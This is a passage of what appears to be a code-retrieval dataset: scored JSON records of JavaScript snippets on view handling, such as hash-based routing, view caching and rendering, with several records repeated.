}\n\n splits = null;\n\n if (view === '' || view === null) {\n view = this.default_view;\n }\n\n const initialState = {\n fetch: true,\n cancel: false,\n };\n\n let fetchViewPromise = Promise.resolve(initialState);\n if (this.currentView) {\n fetchViewPromise = fetchViewPromise\n .then((state) => this._getViewObject(this.currentView)\n .then((viewObject) => {\n // Are we staying in the same view ?\n // Did the the view handled the hash change ?\n if (view === this.currentView && viewObject.onHashChange(this.hash)) {\n state.fetch = false;\n return state;\n }\n\n // If we where in a view ask to view to close;\n if (this.currentView) {\n return viewObject.close().then((closeResponse) => {\n if (closeResponse.cancel) {\n // Cannot close current view abort view change\n if (this.debug) {\n console.debug('View coulnd\\'t close');\n }\n\n // Temporarily stop the hash observation loop so we can ...\n this._stopObservation();\n // ... keep where the user wanted to go and stay where we were ...\n this.hash = this.stepBack();\n // ... and then start to observe again\n this._observe();\n\n state.cancel = true;\n return state;\n }\n\n // Close current view\n this.emit('viewClose', viewObject);\n return state;\n });\n }\n\n return state;\n })\n .catch(() => state), // Forward state\n );\n }\n\n fetchViewPromise.then((state) => {\n if (state.cancel) {\n return false;\n }\n\n // We don't keep page reloads in history\n if (this._force_clear) {\n this.addHistory(this.hash);\n this._force_clear = false;\n } else if (!this._detectStepBack(this.hash)) {\n this.addHistory(this.hash);\n }\n\n if (state.fetch) {\n this.isOpeningView = true;\n this.isOpeningViewCancelled = false;\n\n // Just to be sure we leave nothing behind\n this.hideModalDialogNow();\n\n // Highlight the right menu\n this._selectViewMenu(view);\n\n // It's time to change the view\n this._fetchView(view);\n }\n });\n }", "title": "" }, { "docid": "242270d730d23363ea12e86d9a985443", "score": "0.5635227", "text": "getCurrentViewConfig(){\n const hgc = this.getHiGlassComponent();\n const { state: { viewConfig = null } = {} } = hgc || {};\n return viewConfig;\n }", "title": "" }, { "docid": "8fd5654ba64aeaa3b6af1d5ac209a59f", "score": "0.5539168", "text": "function updateView() {\n var urlRoute = w.location.hash.replace('#', '');\n routeName = urlRoute.replace('/', '');\n _rendered = false;\n routeObj = this._routeMap[routeName] || _defaultRoute;\n loadTemplate(routeObj, _viewElement);\n }", "title": "" }, { "docid": "c3474bd1f19167c3bef3b94e4e50085a", "score": "0.5517371", "text": "function loadView(){\r\n //log('loadView user: ' + user);\r\n if (paramObj.shownUser !== undefined) {\r\n trimView(null, paramObj.shownUser);\r\n }\r\n if (paramObj.lightUser !== undefined) {\r\n highlight(null, paramObj.lightUser, true);\r\n }\r\n \r\n }", "title": "" }, { "docid": "9f5c2b717ae8de4853546ceb9f5a8b6b", "score": "0.55054486", "text": "resultView() {\n const outputVariableName = this.views[this.indexView];\n return this[outputVariableName];\n }", "title": "" }, { "docid": "493bfced24037d1af6ffdefaf7880342", "score": "0.5495087", "text": "get view() {\n\t\treturn this.__view;\n\t}", "title": "" }, { "docid": "a60b810deca18291f518796380019b35", "score": "0.54885095", "text": "_isViewCached(view) {\n // No HTML no cache.\n if (this._view_cache[view] && this._view_cache[view].html) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "7f0df3a372327ebc0cf46620b3b83765", "score": "0.54325426", "text": "function getCurrentView(){\n return currentView;\n}", "title": "" }, { "docid": "df4580a64fcb9bfcc870284905e88fae", "score": "0.53740615", "text": "function updateView(hash) {\n var viewChange,\n hashSwitches = {\n \"programming\": function () {\n $(\"#programming\").show();\n $(\"#sounds\").hide();\n $(\"#installations\").hide();\n },\n \"sounds\": function () {\n $(\"#programming\").hide();\n $(\"#sounds\").show();\n $(\"#installations\").hide();\n },\n \"installations\": function () {\n $(\"#programming\").hide();\n $(\"#sounds\").hide();\n $(\"#installations\").show();\n },\n \"default\": function () {\n $(\"#programming\").show();\n $(\"#sounds\").hide();\n $(\"#installations\").hide();\n }\n };\n\n if (!hash) {\n hash = location.hash.slice(1);\n }\n\n if (hashSwitches[hash]) {\n viewChange = hashSwitches[hash];\n } else {\n viewChange = hashSwitches[\"default\"];\n }\n\n return viewChange();\n }", "title": "" }, { "docid": "fa3f1e97a1bdaaf8822f721b735ec2f9", "score": "0.533529", "text": "_setView() {\n const parameters = ViewController._parameters;\n if (_USER_ID_PARAMETER_KEY in parameters && _GAME_ID_PARAMETER_KEY in\n parameters) {\n this.currentView = new UserView(\n this,\n parameters[_USER_ID_PARAMETER_KEY],\n parameters[_GAME_ID_PARAMETER_KEY]);\n return;\n }\n this.currentView = new HomeView(this);\n }", "title": "" }, { "docid": "33d4a60f7ef560b4b5422da87d348fe5", "score": "0.5324426", "text": "function isUniquePageView() {\n\t\t\treturn getCookie(pageUrl);\n\t\t}", "title": "" }, { "docid": "e682fa466176e1acef27b267bd59bbd7", "score": "0.5319575", "text": "function TView(){}", "title": "" }, { "docid": "366e1c5a045dd64a3e648670e4787c93", "score": "0.53056204", "text": "function View() {\n }", "title": "" }, { "docid": "e73ec1305039667e5f47351e7c05415c", "score": "0.52571064", "text": "function TView() {}", "title": "" }, { "docid": "e73ec1305039667e5f47351e7c05415c", "score": "0.52571064", "text": "function TView() {}", "title": "" }, { "docid": "228343261e2a6a45cf340c7421bd7305", "score": "0.5233461", "text": "function TView() { }", "title": "" }, { "docid": "228343261e2a6a45cf340c7421bd7305", "score": "0.5233461", "text": "function TView() { }", "title": "" }, { "docid": "228343261e2a6a45cf340c7421bd7305", "score": "0.5233461", "text": "function TView() { }", "title": "" }, { "docid": "228343261e2a6a45cf340c7421bd7305", "score": "0.5233461", "text": "function TView() { }", "title": "" }, { "docid": "228343261e2a6a45cf340c7421bd7305", "score": "0.5233461", "text": "function TView() { }", "title": "" }, { "docid": "95a6804202a375dd6eb0ce0a859fb582", "score": "0.51984864", "text": "_fetchView(view, hiddenParams) {\n this.currentView = view;\n\n const self = this;\n\n this._getViewObject(this.currentView).then((viewObject) => {\n this.hideLoading();\n this.abortOngoingXHR();\n\n const cached = this._isViewCached(view);\n if (cached && this.debug) {\n console.debug(`View \"${view}\" is in cache (${this.lang})`);\n }\n\n this._onFetchView(viewObject);\n\n // Ask the requested view to transmute hash to query parameters\n const params = viewObject.parseHash(this.hash);\n\n for (var k in params.params) {\n params[k] = params.params[k];\n }\n delete (params.params);\n\n if (hiddenParams && $.isPlainObject(hiddenParams)) {\n for (k in hiddenParams) {\n params[k] = hiddenParams[k];\n }\n }\n\n params.k = this.SESSION_KEY;\n params.view = this.currentView;\n params.cmd = 'view';\n params.cached = cached;\n params.version = this.getApplicationVersion();\n params.uv = this.userVersion;\n\n if (this.replaced_session_key) {\n params.rk = this.replaced_session_key;\n this.replaced_session_key = false;\n }\n\n const param_string = $.param(params);\n\n $.ajax({\n url: `${this.getViewApiPath()}?${param_string}`,\n type: 'POST',\n data: {\n context: this.getContext(),\n },\n dataType: 'json',\n headers: this.getXSRFHeaders(),\n success(response, textStatus, jqXHR) {\n self.hideLoading();\n\n if (self.isOpeningViewCancelled) {\n self.isOpeningView = false;\n setTimeout(() => self._checkHash(), 10);\n return false;\n }\n\n /* Manage redirect responses from view calls. */\n if (response.redirect) {\n self.isOpeningView = false;\n self.goTo(response.view);\n return false;\n }\n\n if (response.status == 'error') {\n const traceId = Application.getTraceIdFromJQueryXHR(jqXHR);\n\n const info = response.data;\n if (info.code == 600) { // VIEW_CMD_ERROR;\n // Hopefuly this won't happen\n self._showFatalError(`An error occured server side while fetching view data \"${view}\" (600)`,\n traceId);\n } else if (info.code == 601 || info.code == 602) { // VIEW_ACL_ERROR or MODEL_ACL_ERROR\n self._showNavigationError();\n } else { // Unknown error\n self._showFatalError(`An unknown error was sent from server while fetching view data \"${view}\" (${info.error})`,\n traceId);\n }\n\n return false;\n }\n\n self._onLoadView(viewObject, response.data, hiddenParams);\n self._loadView(response.data, hiddenParams);\n },\n error(jqXHR, status, error) {\n self.isOpeningView = false;\n self.hideLoading();\n\n self.validateXHR(jqXHR).then((isValidXHR) => {\n if (!isValidXHR) {\n return;\n }\n if (this.debug) {\n console.debug('AJAX query error');\n console.debug(status);\n console.debug(error);\n }\n\n const traceId = Application.getTraceIdFromJQueryXHR(jqXHR);\n self._showFatalError(`An error occured while fetching view data \"${view}\" (${status})`,\n traceId);\n });\n },\n });\n\n // If we don't receive an awnser after 1.5 second, a loading overlay will appear\n this.showLoadingAfterTimeout();\n });\n }", "title": "" }, { "docid": "e54ffca8dd4324e5c2356d188ce2ecc3", "score": "0.5196282", "text": "getSelectedView() {\n\t\tfor (var v in this.views) {\n\t\t\tif (this.views[v][0] == this.selectedView)\n\t\t\t\treturn this.views[v][1];\n\t\t}\n\t\treturn this.NULL_VIEW;\n\t}", "title": "" }, { "docid": "ecf7b322200fc53f4d6076008cf8dc67", "score": "0.5194062", "text": "function ViewData(){}", "title": "" }, { "docid": "93976d8f21b3e2f4dc5bf42864131f9a", "score": "0.5176305", "text": "setView(initView) {\n this.view = initView;\n }", "title": "" }, { "docid": "29e41200d474202fa84c727b05f9c976", "score": "0.5168625", "text": "function cachedView(viewFn, log) {\n const cache = {}\n const defaultKey = 'default'\n return function myCachedView(incomingProps) {\n if (arguments.length !== 1) {\n throw new Error('cachedView must not receive more than props')\n }\n const viewKey = incomingProps.key || defaultKey\n const incomingPropsKeys = Object.keys(incomingProps)\n const cachedPropsKeys = cache[viewKey].propKeys\n if (\n cache[viewKey] &&\n incomingPropsKeys.length === cachedPropsKeys.length &&\n cachedPropsKeys.every(\n k => cache[viewKey].props[k] === incomingProps[k]\n )\n ) {\n if (log) log(true)\n return cache[viewKey].value\n }\n if (log) log(false)\n cache[viewKey] = {\n props: incomingProps,\n propKeys: incomingPropsKeys,\n value: viewFn(incomingProps),\n }\n return cache[viewKey].value\n }\n}", "title": "" }, { "docid": "44a798028a34fd9efc6365ffc84e34d1", "score": "0.5160816", "text": "get View() {\n\t\treturn this.viewClass;\n\t}", "title": "" }, { "docid": "c69447a9d4a8e5a96c29a2d1cb0ae667", "score": "0.511845", "text": "function LView(){}", "title": "" }, { "docid": "c45b9a9351d9b1641116cc712d474266", "score": "0.5109013", "text": "function initializeView() {\n try {\n if (!portal.isDomReady()) {\n return setTimeout(function () {\n initializeView();\n }, 10);\n }\n // remove all prior added view elems\n $('[removable=\"true\"]').remove();\n $(\"#table-caption\").hide();\n $(\"#table-caption\").text(\"\");\n errors.clear();\n // set title\n // $('#view-title').text(view.title);\n // $('#subtitle-text').text(view.subtitle);\n // $('#export-button').attr('disabled', true);\n showHideIds(null, view.showableIds);\n // get user settings\n // TODO initialize data within namespaces\n getInitialData();\n if (view.initializeFunctions) {\n for (let i = 0; i < view.initializeFunctions.length; i++) {\n initializeFunctions[view.initializeFunctions[i]]();\n }\n }\n } catch (error) {\n console.log(error);\n errors.handleError(error);\n }\n }", "title": "" }, { "docid": "cdbe2706a4ab25bd115a7b872a6e0977", "score": "0.51070166", "text": "getInitialViewState() {\n return this.props.view || {\n zoom: 2,\n target: [0, 0, 0], // Required: https://github.com/uber/deck.gl/issues/2580\n };\n }", "title": "" }, { "docid": "59056ffc84db797b9df7b8fb8c063efd", "score": "0.5044745", "text": "function checkView () {\n // var Cookie = $.cookie('iucr_content_view');\n //alert(\"hi2 Cookie \" + Cookie+ ' ' + imgselect);\n if (Cookie) {\n if (Cookie == 1) {\n $(imgselect).attr(\"src\",'//journals.iucr.org/logos/buttonlogos/plus.png');\n $('span.toggleview>a').html(\"Detailed format\");\n myToggleViewHide();\n //$('.ref_lookup_'+color).toggleClass(\"ref_lookup\");\n }\n } else {\n Cookie = 0;\n }\n // store as cookie\n // $.cookie('iucr_content_view',Cookie,{expires: 365, path: '/'});\n}", "title": "" }, { "docid": "67c3132a92f0406eef29d6699d19d63f", "score": "0.5039363", "text": "function setView(which) {\n\t\tfor (x in viewsList) {\n\t\t\twindow[viewsList[x]] = (viewsList[x] == which) ? true : false;\n\t\t}\n\t}", "title": "" }, { "docid": "aea60ae0fa802feea90ba47150865f49", "score": "0.50156033", "text": "function loadView() {\n\t\tview();\n\t}", "title": "" }, { "docid": "f5b0b03544eb4e3d1f89e910ca830ffb", "score": "0.49993947", "text": "init() {\n\n let findView = event => {\n let currentView = 'all';\n\n if (window.location.hash) {\n currentView = window.location.hash.substr(2);\n }\n\n this._setView(currentView);\n };\n\n $on('load', window, findView);\n $on('hashchange', window, findView);\n\n this._initListeners();\n\n }", "title": "" }, { "docid": "86b9e7adcd166c19be3b8713dd0c9db6", "score": "0.4976197", "text": "function renderView(appState){\n //grab information from store\n\n if(appState === \"start-view\") {\n let finishedHtml = buildStartView(STORE);\n $('.body').html(finishedHtml);\n }\n\n if(appState === \"question-view\") {\n let finishedHtml = buildQuestionView(STORE);\n $('.body').html(finishedHtml);\n checkAnswer();\n }\n\n if(appState === \"results-view\") {\n let finishedHtml = buildResultView(STORE);\n $('.body').html(finishedHtml);\n }\n\n if(appState === \"end-view\") {\n let finishedHtml = buildEndView(STORE);\n $('.body').html(finishedHtml);\n }\n\n console.log(`currentQustion${currentQuestion}`); \n console.log('`renderView` ran');\n \n}", "title": "" }, { "docid": "2b0de17b12499c27949780748fb0f74b", "score": "0.4923429", "text": "constructor(views, session_manager) {\r\n this.views = views;\r\n this.session = session_manager;\r\n this.currentView = undefined;\r\n\r\n // This auto-launches the previously selected view (if there was one) when the page reloads.\r\n const orig_onLoggedIn_cb = this.session.lm.events?.onLoggedIn;\r\n this.session.lm.events[\"onLoggedIn\"] = (user) => {\r\n if (!this.session.getHashParams(location.hash).get(\"name\")) {\r\n document.querySelector(this.WT_ID_TEXT).value = user.name;\r\n }\r\n\r\n orig_onLoggedIn_cb(user);\r\n document.querySelector(this.SHOW_BTN).click();\r\n };\r\n\r\n if (location.hash) {\r\n this.session.loadUrlHash(Object.keys(views), location.hash);\r\n }\r\n\r\n addEventListener(\"hashchange\", (e) => this.onHashChange(e));\r\n }", "title": "" }, { "docid": "9aaefa0c2f473d89bf1f58142470bfa8", "score": "0.49121568", "text": "function view() {\n //stores the page name\n var page = pageName();\n if (page == \"view.html\") { //checks if the page is the generation result page\n //makes the generation\n generate();\n}\n}", "title": "" }, { "docid": "34aa8b3c7ab01ebab1e631c873df5da5", "score": "0.4908451", "text": "function LView() { }", "title": "" }, { "docid": "34aa8b3c7ab01ebab1e631c873df5da5", "score": "0.4908451", "text": "function LView() { }", "title": "" }, { "docid": "34aa8b3c7ab01ebab1e631c873df5da5", "score": "0.4908451", "text": "function LView() { }", "title": "" }, { "docid": "34aa8b3c7ab01ebab1e631c873df5da5", "score": "0.4908451", "text": "function LView() { }", "title": "" }, { "docid": "34aa8b3c7ab01ebab1e631c873df5da5", "score": "0.4908451", "text": "function LView() { }", "title": "" }, { "docid": "b08cf0e93a08e042c3125bf8448dd19d", "score": "0.4903309", "text": "setView(state, view) {\n state.view = view\n }", "title": "" }, { "docid": "f771ec887b8a4c20f1fabd48f1d1203d", "score": "0.48900017", "text": "initialize() {\n const initialStateString = unescape(window.location.hash).substr(1)\n const initialState = initialStateString ? JSON.parse(initialStateString) : this.INITIAL_STATE\n this.renderState(initialState)\n this.renderOutput()\n }", "title": "" }, { "docid": "63164ff2876c8a67836a6d46f9cab12b", "score": "0.4889626", "text": "function init(config) {\n var conf = config['views'] || {};\n for (var s in conf) {\n if (conf.hasOwnProperty(s)) {\n // TODO: Fix this by moving view names / config into a sub property.\n if (s != 'rewriteLinks') {\n var obj = conf[s];\n var constantName = s.toUpperCase();\n _viewType[constantName] = constantName;\n if (!obj) {\n continue;\n }\n supportedViews[s] = new gadgets.views.View(s, obj.isOnlyVisible);\n var aliases = obj['aliases'] || [];\n for (var i = 0, alias; (alias = aliases[i]); ++i) {\n supportedViews[alias] = new gadgets.views.View(s, obj['isOnlyVisible']);\n }\n }\n }\n }\n\n var urlParams = gadgets.util.getUrlParameters();\n // View parameters are passed as a single parameter.\n if (urlParams['view-params']) {\n params = gadgets.json.parse(urlParams['view-params']) || params;\n }\n\n var viewName = urlParams['view'] || \"\";\n // check for subview\n var viewNameArray = viewName.split(\".\");\n if(viewNameArray.length > 1) {\n var viewNameMajor = viewNameArray[0];\n if (supportedViews.hasOwnProperty(viewNameMajor)) {\n var viewMajor = supportedViews[viewNameMajor];\n currentView = new gadgets.views.View(viewName, viewMajor.isOnlyVisibleGadget());\n } else {\n currentView = supportedViews['default'];\n }\n } else {\n currentView = supportedViews[viewName] || supportedViews['default'];\n }\n\n if (conf.rewriteLinks) {\n gadgets.util.attachBrowserEvent(document, 'click', forceNavigate, false);\n }\n }", "title": "" }, { "docid": "2bd0411903cea172cfc2ee08f82562c9", "score": "0.48793507", "text": "function LView() {}", "title": "" }, { "docid": "2bd0411903cea172cfc2ee08f82562c9", "score": "0.48793507", "text": "function LView() {}", "title": "" }, { "docid": "8ce57ef28ab308d4f0b89083b369e19b", "score": "0.48790646", "text": "function AreYouView(){\r\n\r\n var isView = localStorage.getItem('view')\r\n\r\n if (isView == null){\r\n $(\".intro\").css('display', 'flex');\r\n introAnimations()\r\n var TimeEntrance = Date.now();\r\n localStorage.setItem('TimeEntrance', `${TimeEntrance}`);\r\n }\r\n else {\r\n $(\".intro\").css('display', 'none');\r\n\r\n var IntTimeEntrance = parseInt(localStorage.getItem('TimeEntrance'));\r\n var TimeAfter12h = IntTimeEntrance + 43200000;\r\n var TimeNow = Date.now();\r\n \r\n if(TimeNow > TimeAfter12h){\r\n localStorage.removeItem(\"view\");\r\n AreYouView()\r\n }\r\n }\r\n}", "title": "" }, { "docid": "0231d400a8a9599348cfc1d7a06d1ff8", "score": "0.48741302", "text": "_getEmptyView() {\n const emptyView = this.emptyView;\n\n if (!emptyView) { return; }\n\n return this._getView(emptyView);\n }", "title": "" }, { "docid": "0231d400a8a9599348cfc1d7a06d1ff8", "score": "0.48741302", "text": "_getEmptyView() {\n const emptyView = this.emptyView;\n\n if (!emptyView) { return; }\n\n return this._getView(emptyView);\n }", "title": "" }, { "docid": "1fef62da0c4d4d647d05e3d497148de9", "score": "0.4867446", "text": "getViewed() {\r\n return this._viewed;\r\n }", "title": "" }, { "docid": "9bcc9fc18178773e422e319abca292b4", "score": "0.4865274", "text": "function BaseView (props) {\n\tif (props.logged_in === true) {\n\t\treturn loggedInView()\n\t}\n\telse {\n\t\treturn loggedOutView()\n\t}\n}", "title": "" }, { "docid": "42324882a47cf4a163f439ef40f649bc", "score": "0.4863089", "text": "on_view_init(){\n\n }", "title": "" }, { "docid": "3fc745106e51b038c4df5075f2b3833b", "score": "0.48492855", "text": "function view_count_get() {\n let view_count = !window.localStorage ? Cookies.get(cookie_name_view_count) : localStorage.getItem(cookie_name_view_count);\n\n if (!view_count) {\n return;\n } else {\n Wizard.go_to_view(view_count);\n }\n }", "title": "" }, { "docid": "ba8dbf63af347e4aa99d3b8dcb148a19", "score": "0.4839535", "text": "function ViewData() {}", "title": "" }, { "docid": "ba8dbf63af347e4aa99d3b8dcb148a19", "score": "0.4839535", "text": "function ViewData() {}", "title": "" }, { "docid": "1b62be6a81d41b7f179db646ba0dde5f", "score": "0.48340073", "text": "view(type) {\n return this[`${type}View`];\n }", "title": "" }, { "docid": "9ab6134475df2fb0c1bfeafbde84b560", "score": "0.48330137", "text": "function defaultView(req, res) {\n\t\tvar userInfo = req.user;\n\t\tres.render(view, { \n\t\t\ttitle: 'Application Reviews',\n\t\t\tmessage: req.flash('tableMessage'),\n\t\t\tuser: userInfo.id,\n\t\t\tfullname: userInfo.fullname,\n\t\t\troles: userInfo.roles,\n\t\t\trole: role,\n\t\t\tapps: req.apps.appls || [],\n\t\t\tfields: req.apps.flds ? (req.apps.flds.fields || []) : [],\n\t\t\thidden: req.apps.flds ? (req.apps.flds.hidden || []) : [],\n\t\t\tfoi: req.apps.foi || [],\n\t\t\tcms: req.apps.cms || [],\n\t\t\tprofs: req.apps.profs || [],\n\t\t\tfilter: req.apps.filter || false,\n\t\t\tshowfilter: true,\n\t\t\tmax_dom: max_domestic,\n\t\t\tmax_visa: max_visa,\n\t\t\thighlightText: {},\n\t\t\thighlightFunc: highlight,\n\t\t\turl: req.originalUrl\n\t\t});\n\t}", "title": "" }, { "docid": "59f30c76b1128c79a1f87ec863fe82e1", "score": "0.4828131", "text": "get currentView() { return this._currentView; }", "title": "" }, { "docid": "59f30c76b1128c79a1f87ec863fe82e1", "score": "0.4828131", "text": "get currentView() { return this._currentView; }", "title": "" }, { "docid": "d058a5e76c442c9d3cff5b11279595f7", "score": "0.48192066", "text": "viewSwitch(view){\n switch(view){\n case VIEW.login:\n return \" login-background\";\n case VIEW.home:\n return \" home-background\";\n case VIEW.cardList:\n return this.backgroundSwitch();\n case VIEW.order:\n return this.backgroundSwitch();\n default:\n return \" home-background\";\n }\n }", "title": "" }, { "docid": "0acbb66fd28782a096d1ed0ea58fd92e", "score": "0.48180863", "text": "function update_result_view() {\n\n\tvar view = $('#view_buttons INPUT:checked').attr('id');\n\t// Set full view as default, is nothing is set\n\tif (!view) {\n\t\t$('#full_view').attr('checked', 'checked');\n\t\t$('#view_buttons').buttonset('refresh');\n\t\treturn;\n\t}\n\t\t\n\t$('#view_buttons').buttonset('refresh');\n\tif (view == 'full_view') {\n\t\t$('.search_result div').show();\n\t\treturn;\n\t}\n\n\tif (view == 'summary_view') {\n\t\t$('.search_result div').show();\n\t\t$('.search_result .result_details').hide();\n\t\treturn;\n\t}\n\n\tif (view == 'minimal_view') {\n\t\t$('.search_result div').hide();\n\t\t$('.search_result .result_title').show();\n\t\t$('.search_result .result_links').show();\n\t\treturn;\t\n\t}\n}", "title": "" }, { "docid": "6a058e1225687b8f2bd209b38e0a8f3e", "score": "0.481506", "text": "function renderView(appState){\n //grab information from store\n\n if(appState === \"start-view\") {\n let finishedHtml = buildStartView(STORE);\n $('.body').html(finishedHtml);\n }\n\n if(appState === \"question-view\") {\n let finishedHtml = buildQuestionView(STORE);\n $('.body').html(finishedHtml);\n checkAnswer();\n }\n\n if(appState === \"result-view\") {\n let finishedHtml = buildResultView(STORE);\n $('.body').html(finishedHtml);\n }\n\n if(appState === \"end-view\") {\n let finishedHtml = buildEndView(STORE);\n $('.body').html(finishedHtml);\n }\n console.log('`renderView` ran');\n \n}", "title": "" }, { "docid": "f4c477554053aed10b7fcb5ba1184fe8", "score": "0.48045066", "text": "get config() {\r\n return this._viewConfig;\r\n }", "title": "" }, { "docid": "16e51a3399ce6d64c74056303ec52db9", "score": "0.47932884", "text": "render() {\r\n let views = this.views;\r\n const options =\r\n Object.keys(this.views)\r\n .sort(function (a, b) {\r\n // Sort the app options alphabetically by title\r\n return views[a].title.localeCompare(views[b].title);\r\n })\r\n .map((id) => `<option value=\"${id}\">${this.views[id].title}</option>`)\r\n .join(\"\") + `<option value=\"otherapps\">Other Apps</option>`;\r\n\r\n const submitBtn = document.querySelector(this.SHOW_BTN);\r\n submitBtn.addEventListener(\"click\", (e) => this.onSubmit(e));\r\n\r\n const viewSelect = document.querySelector(this.VIEW_SELECT);\r\n viewSelect.innerHTML = options;\r\n viewSelect.value = this.session.viewID || (Object.keys(this.views).length ? Object.keys(this.views)[0] : \"\");\r\n\r\n document.querySelector(this.WT_ID_TEXT).value = this.session.personName;\r\n\r\n // If we have both a starting Profile ID and a selected View ID, draw the desired view.\r\n // If not, alert the user that they need to do something to begin.\r\n if (document.querySelector(this.WT_ID_TEXT).value && viewSelect.value) {\r\n submitBtn.click();\r\n } else {\r\n this.showWarning('Enter a WikiTree ID and select a View, then click \"Go\" to begin.');\r\n }\r\n }", "title": "" }, { "docid": "f711a7de4f38adf7d3e8f6d58d412dd6", "score": "0.47913808", "text": "function View() {\n\t\tthis.defaultTemplate \n\t\t= \t'<tr data-id=\"{{id}}\" data-href=\"{{host}}\">'\n\t\t+\t\t'<td class = \"url\">{{href}}</td>'\n\t\t+\t\t'<td>{{notice}}</td>'\n\t\t+\t\t'<td>{{removeTimes}}</td>'\n\t\t+\t\t'<td>{{delete}}</td>'\n\t\t+\t'</tr>';\n\t}", "title": "" }, { "docid": "8ead8dfd929743d534825f29adced1fa", "score": "0.47868735", "text": "_setViewCache(view, html, params) {\n delete (this._view_cache[view]);\n\n this._view_cache[view] = {\n html,\n params: params || null,\n };\n\n if (this.debug) {\n console.debug(`Cached version of view \"${view}\"`);\n }\n }", "title": "" }, { "docid": "2f363e260f5babdd597e98ca56ebadea", "score": "0.4786345", "text": "_getViewCachedHTML(view) {\n if (this._view_cache[view] && this._view_cache[view].html) {\n return this._view_cache[view].html;\n }\n\n throw this._throw('View was supposed to be cached...', true);\n }", "title": "" }, { "docid": "ce753d63d1053ef1670ed2234e800f85", "score": "0.47660124", "text": "function setView(v) {\n view = v;\n}", "title": "" }, { "docid": "bf84a88e187e743a17afafe828124848", "score": "0.47657022", "text": "setInitialView() {\n const initialView = this.computedInitialView;\n\n if (!this.allowedToShowView(initialView)) {\n throw new Error(`initialView '${this.initialView}' cannot be rendered based on minimum '${this.minimumView}' and maximum '${this.maximumView}'`);\n }\n\n switch (initialView) {\n case 'year':\n this.showSpecificCalendar('Year');\n break;\n\n case 'month':\n this.showSpecificCalendar('Month');\n break;\n\n default:\n this.showSpecificCalendar('Day');\n break;\n }\n }", "title": "" }, { "docid": "05d47c0063386323e626fbffe45170b8", "score": "0.47542176", "text": "_getCurrentViewComponent() {\n return this.monthView || this.yearView || this.multiYearView;\n }", "title": "" }, { "docid": "05d47c0063386323e626fbffe45170b8", "score": "0.47542176", "text": "_getCurrentViewComponent() {\n return this.monthView || this.yearView || this.multiYearView;\n }", "title": "" }, { "docid": "c62ada880a47875f4d945a422783acb3", "score": "0.47541133", "text": "view(i_start, nb_view) {\n\t\treturn this.kab.view(i_start, nb_view);\n\t}", "title": "" }, { "docid": "66c410e03069530b0d7667b7205b2580", "score": "0.4744184", "text": "shouldCacheViews() {\n let cacheViews = this.app.container.resolveBinding('Adonis/Core/Env').get('CACHE_VIEWS');\n if (typeof cacheViews === 'string') {\n cacheViews = cacheViews === 'true';\n }\n return cacheViews;\n }", "title": "" }, { "docid": "d7da31469812018cee99bfb8a52f897e", "score": "0.47359836", "text": "onTermsViewLoaded_() {\n // This is called also when the loading is failed.\n // In such a case, onTermsViewLoadAborted_() is called in advance, and\n // state_ is set to ABORTED. Here, switch the view only for the\n // successful loading case.\n if (this.state_ == LoadState.LOADING) {\n this.state_ = LoadState.LOADED;\n this.showContent_();\n }\n }", "title": "" }, { "docid": "467945de87ff36a9477cebf6e93340ee", "score": "0.4732443", "text": "getCurrentView(renderNb = this.render.views.length-1) {\n if (renderNb >= 0) return this.render.views[renderNb];\n else return null;\n }", "title": "" }, { "docid": "5558ba28cde9b4ac1f85ef9d06cf067e", "score": "0.47315317", "text": "has(key) {\n return this._protectedView.has(key);\n }", "title": "" }, { "docid": "86a80602ac288f47f6d16b4603356287", "score": "0.47217807", "text": "function initialize_view(k) {\n widget.wrapper().call( widget.zoom().transform , transformTo(null, k || 1))\n }", "title": "" }, { "docid": "13ab9f005d58e9fc15576984cbb8b776", "score": "0.4721766", "text": "function StateView(name) {\n this._viewName = name;\n this._locals = _getState(name);\n }", "title": "" }, { "docid": "0ac436645dbf23ae3d2c914c9d4e4105", "score": "0.4719608", "text": "function onChanceView(clickedText){\n switch (clickedText) {\n //if user presses the \"log in\" navigation button\n case 0:\n view.logInView();\n break;\n //if user presses the \"sign up\" navigation button\n case 1:\n view.signUpView();\n break;\n //if user presses on \"Forgot Password?\"\n //listeners for button and link will be initialized\n case SIGN_UP_OPTION:\n view.showBack();\n controller.initResetPass();\n break;\n //if user presses on \"Go back\"\n //listener for button an link will be removed\n default:\n view.showFront();\n controller.removeResetPass();\n }\n }", "title": "" }, { "docid": "a8e8441c6c4349813b3e4cd96bed0af9", "score": "0.4713404", "text": "get viewCount() {\n return this._views.length;\n }", "title": "" }, { "docid": "f9638693c25b83fab58a7294dea6e016", "score": "0.4694019", "text": "function UserView() {\n\n}", "title": "" }, { "docid": "60cf9899168137c2cf4ce5c70d6d2b85", "score": "0.4687552", "text": "function ViewManager() { }", "title": "" }, { "docid": "003f0c10991b5ddd64159608cf1445c9", "score": "0.46865875", "text": "function checkView(hostView, component) {\n var hostTView = hostView[TVIEW];\n var oldView = enterView(hostView, hostView[T_HOST]);\n var templateFn = hostTView.template;\n var creationMode = isCreationMode(hostView);\n try {\n resetPreOrderHookFlags(hostView);\n creationMode && executeViewQueryFn(1 /* Create */, hostTView, component);\n executeTemplate(templateFn, getRenderFlags(hostView), component);\n refreshDescendantViews(hostView);\n // Only check view queries again in creation mode if there are static view queries\n if (!creationMode || hostTView.staticViewQueries) {\n executeViewQueryFn(2 /* Update */, hostTView, component);\n }\n }\n finally {\n leaveView(oldView);\n }\n}", "title": "" }, { "docid": "7efb5c81746fd1042e19e2c605eb51f1", "score": "0.4685345", "text": "function syncPointGetView(syncPoint,query,writesCache,serverCache,serverCacheComplete){var queryId=query.queryIdentifier();var view=syncPoint.views.get(queryId);if(!view){// TODO: make writesCache take flag for complete server node\nvar eventCache=writesCache.calcCompleteEventCache(serverCacheComplete?serverCache:null);var eventCacheComplete=false;if(eventCache){eventCacheComplete=true;}else if(serverCache instanceof ChildrenNode){eventCache=writesCache.calcCompleteEventChildren(serverCache);eventCacheComplete=false;}else{eventCache=ChildrenNode.EMPTY_NODE;eventCacheComplete=false;}var viewCache=new ViewCache(new CacheNode(eventCache,eventCacheComplete,false),new CacheNode(serverCache,serverCacheComplete,false));return new View(query,viewCache);}return view;}", "title": "" }, { "docid": "b5f304d93832519289c57b7072cd8fee", "score": "0.4681031", "text": "function _cmsViewModeDataCallback(){\n\t\t\t\n\t\t}", "title": "" }, { "docid": "1232f3e3de642a0e66358c88ffe3e500", "score": "0.46745804", "text": "showActiveView() {\n // Switch between logged-in and login state.\n if (this.app.store.get('user') && this.app.store.get('username') && this.app.store.get('token')) {\n this.app.emit('ui:ui.restore')\n $('#user-name').text(this.app.store.get('username'))\n 